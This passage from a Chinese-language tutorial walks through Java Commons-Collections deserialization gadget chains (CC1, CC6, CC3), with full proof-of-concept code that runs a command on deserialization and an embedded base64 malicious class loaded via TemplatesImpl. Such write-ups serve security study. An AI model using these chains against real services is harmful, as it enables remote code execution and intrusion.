        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

        serialize(invocationHandler);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

但代码运行后会抛出异常:

image-1732762662150.png

原因则是AnnotationInvocationHandler::readObject方法中的memberValue.setValue(new XXX)中调用的值并不可控! 此时应该怎么办呢.

ConstantTransformer::transform 返回任意值

此时我们不妨重新找一下其他的实现了Transformer接口的其他可利用的transform方法.

image-1732762675248.png

发现ConstantTransformer类, 这个类定义的transform方法不管传入什么内容, 都会返回自定义任意值的一个方法. 这个方法挺有意思, 我们可以做一下测试:

public class Main {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
//                new Class[]{String.class}, new Object[]{"calc"});
        ConstantTransformer helloWorld = new ConstantTransformer("HelloWorld"); // 不管调用 transform 方法传递了什么参数, 都会返回 HelloWorld 字符串
        HashMap hashMap = new HashMap();
        hashMap.put("value", "b");
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, helloWorld);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

        serialize(invocationHandler);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

直接运行肯定看不出来效果, 但是我们可以在DEBUG途中进行表达式求值:

image-1732762688124.png

ChainedTransformer::transform 递归调用

那么我们继续找可以利用的transform方法的类:

image-1732762697035.png

这里可以发现,ChainedTransformer这个类的transform方法, 会将上一次transform方法调用的结果, 当下一次的参数使用, 这里有一个递归调用的问题.

那么我们思路就有了, 我们刚刚失败的问题是因为如下代码:

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.

这里可以通过ConstantTransformer这个类解决, 因为这个类的transform方法不管你丢什么参数进来, 我们都可以返回一个Runtime对象.

ChainedTransformer这个类的transform方法调用的结果会当成下一次调用transform参数, 所以我们的调用思路如下:

ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 对象
InvokerTransformer -> 我继续调用该危险方法, 实现 RCE

随后我们进行测试:

public class Main {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(runtime), // 放入 runtime 对象
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer
        HashMap hashMap = new HashMap();
        hashMap.put("value", "b"); // value 硬性规定
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

        serialize(invocationHandler);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

最终会抛出异常:

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

是因为Runtime这个类并不允许序列化操作, 因为这个类没有实现Serializable接口:

public class Runtime {...}

但是 Class 允许序列化:

public final class Class<T> implements java.io.Serializable {...}

此时我们可以改一下我们利用ChainedTransformer::transform的思路:

ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 的 Class. (Class 对象允许序列化)
InvokerTransformer -> 我调用 Class 的 getMethod 方法, 参数是 getRuntime -> 返回 getRuntime 这个 Method
InvokerTransformer -> 我调用 Method 的 invoke 方法, 参数是 null -> 返回 runtime 对象
InvokerTransformer -> 我调用 runtime 对象的 exec 方法, 参数是 calc

最终手搓POC:

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap hashMap = new HashMap();
        hashMap.put("value", "b"); // value 硬性规定, 因为 Retention 中只存在一个 value 属性
        TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

        serialize(invocationHandler);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

最终成功弹出计算器. 最终链条梳理:

AnnotationInvocationHandler::readObject
    AbstractInputCheckedMapDecorator::setValue
       TransformedMap::checkSetValue
            ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

CC3 链路 (版本2) jdk1.8.0_65 俗称 CC1

LazyMap::get 链式调用

CC6 的链条与 CC1 的后半部分是一样的, 也就是说ChainedTransformer::transform && ConstantTransformer::transform && InvokerTransformer::transform仍然作为后半段的利用方法.

最主要的核心区别是在 CC1 中使用了TransformedMap::checkSetValue方法进行调用ChainedTransformer::transform的方法, 而调用ChainedTransformer::transform的位置不单单只有一个, 我们看一下:

image-1732762721024.png

这里LazyMap::get方法同样调用了transform方法, 而factory的成员属性如下:

public class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {     // 可序列化, 并且实现了 Map 接口
    protected final Transformer factory; // Transformer 类型的 factory

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory); // 工厂模式
    }

    protected LazyMap(Map map, Factory factory) { // protected 访问修饰符, 别的包不可以访问
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }
}

其中factory成员属性只要是Transformer接口下的类就行, 而我们之前的下半段链路又都是Transformer接口下的:

ChainedTransformer::transform
    ConstantTransformer::transform
    InvokerTransformer::transform

所以这也是一条链路, 我们可以编写代码进行测试, 看一下是否可以弹出计算器:

Transformer[] transformerChain = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
lazyMap.get("heihu577"); // 运行弹出计算器

我们按照之前的思路继续往下找. 查找一个调用了Map.get(任意类型)的点.

AnnotationInvocationHandler::invoke 链式调用

AnnotationInvocationHandler::invoke方法是这样定义的:

image-1732762737550.png

从图中可以看到, 如果我们想要代码顺利执行, 必须调用invoke方法时, 被调用的方法是无参方法.

这里memberValues就是Map类型, 并且该值可控, 我们可以将其修改为我们的LazyMap, 所以这里可以作为链路中的一环进行调用.

AnnotationInvocationHandler实际上是实现了InvocationHandler接口的类, 而我们学习动态代理时我们知道, 当我们调用代理对象.任意方法()实则会调用代理对象.invoke(对象, 方法名, 参数), 所以这里我们需要一个动态代理的创建过程.Proxy.newProxyInstance的方法定义如下:

public class Proxy implements java.io.Serializable {
        @CallerSensitive
    public static Object newProxyInstance(ClassLoader loader,
                                          Class<?>[] interfaces,
                                          InvocationHandler h) // 第三个参数接收一个 InvocationHandler
        throws IllegalArgumentException
    {
        // ...
    }
}

那么我们可以通过Proxy.newProxyInstance将我们通过反射创建的AnnotationInvocationHandler对象传入进来, 生成代理对象, 随后调用该代理对象的无参方法, 最后成功调用AnnotationInvocationHandler::invoke方法. 那么准备如下POC:

Transformer[] transformerChain = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
lazyMapProxyObj.isEmpty(); // 随意调用一个参数为空的方法, 会走向 AnnotationInvocationHandlerConstructor 的 invoke 方法

运行即可弹出计算器.

AnnotationInvocationHandler::readObject 入口方法

那么谁的readObject方法《调用一个参数为空的方法》了呢? 这里AnnotationInvocationHandler::readObject满足我们的需求, 因为它调用了entrySet()方法, 该方法参数为空:

image-1732762753496.png

那么手搓POC:

public class Main4 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
        Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
        Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
        Object o =  AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMapProxyObj); // 最终生成恶意对象
        serialize(o);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
        ois.readObject();
    }
}

运行即可弹出计算器. 最终链条梳理:

AnnotationInvocationHandler::readObject
    AnnotationInvocationHandler::invoke
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

CC3 链路 (版本3) jdk1.8.0_131 俗称CC6

由于上述的链路依赖于AnnotationInvocationHandler, 而这个类在JDK1.8_131版本修复了该链路, 修复了同名方法的调用, 那么不如来一条不受版本限制的链路.

TiedMapEntry::hashCode 链式调用

这个版本的CC链路, 后半段仍然一致, 如下:

LazyMap::get
    ChainedTransformer::transform
        ConstantTransformer::transform
        InvokerTransformer::transform

那么谁调用了LazyMap::get方法呢?在这里有一个TiedMapEntry类, 该类也存在于Commons-collections包下, 其中它的关键方法如下:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private final Map map; // 接收一个 Map, 这里可以存放 LazyMap
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map; // 对 Map 进行初始化操作
        this.key = key;
    }

    public Object getValue() { // 被 hashCode 方法调用进来, 注意这里的 key 是可控的
        return map.get(key);
    }

    public int hashCode() {
        Object value = getValue(); // 调用 getValue 方法
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

那么我们可以这样构造:

Transformer[] transformerChain = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",
                new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
tiedMapEntry.hashCode(); // 调用弹出计算器
HashMap::readObject 入口方法 - 调用 hashCode

在我们之前学习URLDNS链时, 我们知道,Map::readObjectputVal时, 会对Key进行调用hashCode方法, 最主要的核心代码如下:

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // 调用 hashCode 方法
    }

    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
       // ... 其他代码
        putVal(hash(key), key, value, false, false); // 对 key 进行调用 hash 方法操作
    }
}

所以这里也是一个链路, 它的链路如下:

HashMap::readObject
    TiedMapEntry::hashCode
       LazyMap::get
         ChainedTransformer::transform
                ConstantTransformer::transform
                InvokerTransformer::transform
                    Runtime::getRuntime

但是我们需要注意的是, 我们在生成反序列化二进制文件时, 主动调用HashMap::put方法同样会触发TiedMapEntry::hashCode方法, 这一点在我们之前的URLDNS链中有分析过, 所以我们在构造时仍然需要一个反射的一个操作. 我们put时, 放入正常的对象, 不让他走到最终的链路, 而put完之后通过反射再将恶意对象放回来, 即可避免我们生成二进制文件时就直接走到了链路尽头, 从而造成了一系列非预期的问题.

最终POC如下:

public static void main(String[] args) throws Exception {
    Transformer[] transformerChain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                    new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                    new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec",
                    new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
    HashMap<Object, Object> map = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
    HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
    hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
    Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
    lazyMapDst.setAccessible(true);
    lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
    serialize(hsMap);
    unserialize(); // 运行弹出计算器
}

public static void serialize(Object o) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
    oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
    ois.readObject();
}

CC3 链路 (版本4) >= jdk1.8.0_131 CC4 同样可用 俗称CC3

在前面的CC链路中, 我们链路的尽头始终是调用了InvokerTransformer::transform进行执行我们的Runtime.exec进行反序列化的, 而这个链路最终调用的是我们之前学习过的Xalan ClassLoader进行加载类字节码进行GetShell的.

Xalan ClassLoader 利用

在这里我们先复习一下Xalan ClassLoader:

image-1732762780775.png

在之前我们成功分析出链路, 并成功编写出本地RCE脚本, 笔者先贴上来:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
        new BASE64Decoder().decodeBuffer(
                "恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行序列化操作

那么这个Xalan ClassLoader是否可以成功被利用, 取决于TemplatesImpl这个类是否支持序列化, 以及它下面的成员属性_bytecodes, _name, _tfactory是否支持序列化, 那么我们看一下这个类的定义:

public final class TemplatesImpl implements Templates, Serializable { // 实现了 Serializable 接口, 支持序列化操作
    private String _name = null; // 可以序列化, 可以通过反射修改
    private byte[][] _bytecodes = null; // 可以序列化, 可以通过反射修改
    private transient TransformerFactoryImpl _tfactory = null; // transient 不可被序列化
    // ... 其他代码
}

_tfactory这个属性被transient修饰, 所以这个成员属性是不允许序列化的, 那么这里怎么办呢?既然它实现了Serializable接口, 那么readObject中肯定有它自己的逻辑:

private void  readObject(ObjectInputStream is)
  throws IOException, ClassNotFoundException
{
    ObjectInputStream.GetField gf = is.readFields();
    _name = (String)gf.get("_name", null);
    _bytecodes = (byte[][])gf.get("_bytecodes", null);
    _class = (Class[])gf.get("_class", null);
    _transletIndex = gf.get("_transletIndex", -1);

    _outputProperties = (Properties)gf.get("_outputProperties", null);
    _indentNumber = gf.get("_indentNumber", 0);

    if (is.readBoolean()) {
        _uriResolver = (URIResolver) is.readObject();
    }

    _tfactory = new TransformerFactoryImpl(); // 这里程序会自动对 _tfactory 成员属性进行初始化操作
}

可以看到最后一行代码,readObject方法中对_tfactory成员属性进行初始化了, 所以我们在编写反序列化POC时, 无需操心_tfactory.

那么我们需要构造的POC上半段就是这样:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
// 省去了对 _tfactory 的初始化操作.
// Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行加载恶意类字节码

而我们知道的是, 如果想调用TemplatesImpl::newTransformer方法, 我们又需要重新找链路, 在我们之前的CC链我们知道,InvokerTransformer.transform这个方法允许调用任意对象的任意方法, 所以这里我们可以使用原先的上半链路, 通过InvokerTransformer.transform + ConstantTransformer::transform + ChainedTransformer::transform进行调用到TemplatesImpl::newTransformer方法, 那么构造POC:

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
    Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
    name.setAccessible(true);
    bytecodes.setAccessible(true);
    byte[][] myBytes = new byte[1][];
    myBytes[0] = new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk="); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
    bytecodes.set(templates, myBytes);
    name.set(templates, "");

    Transformer[] transformerChain = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}) // // 调用 TemplatesImpl::newTransformer() 进行弹窗
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
    HashMap<Object, Object> map = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
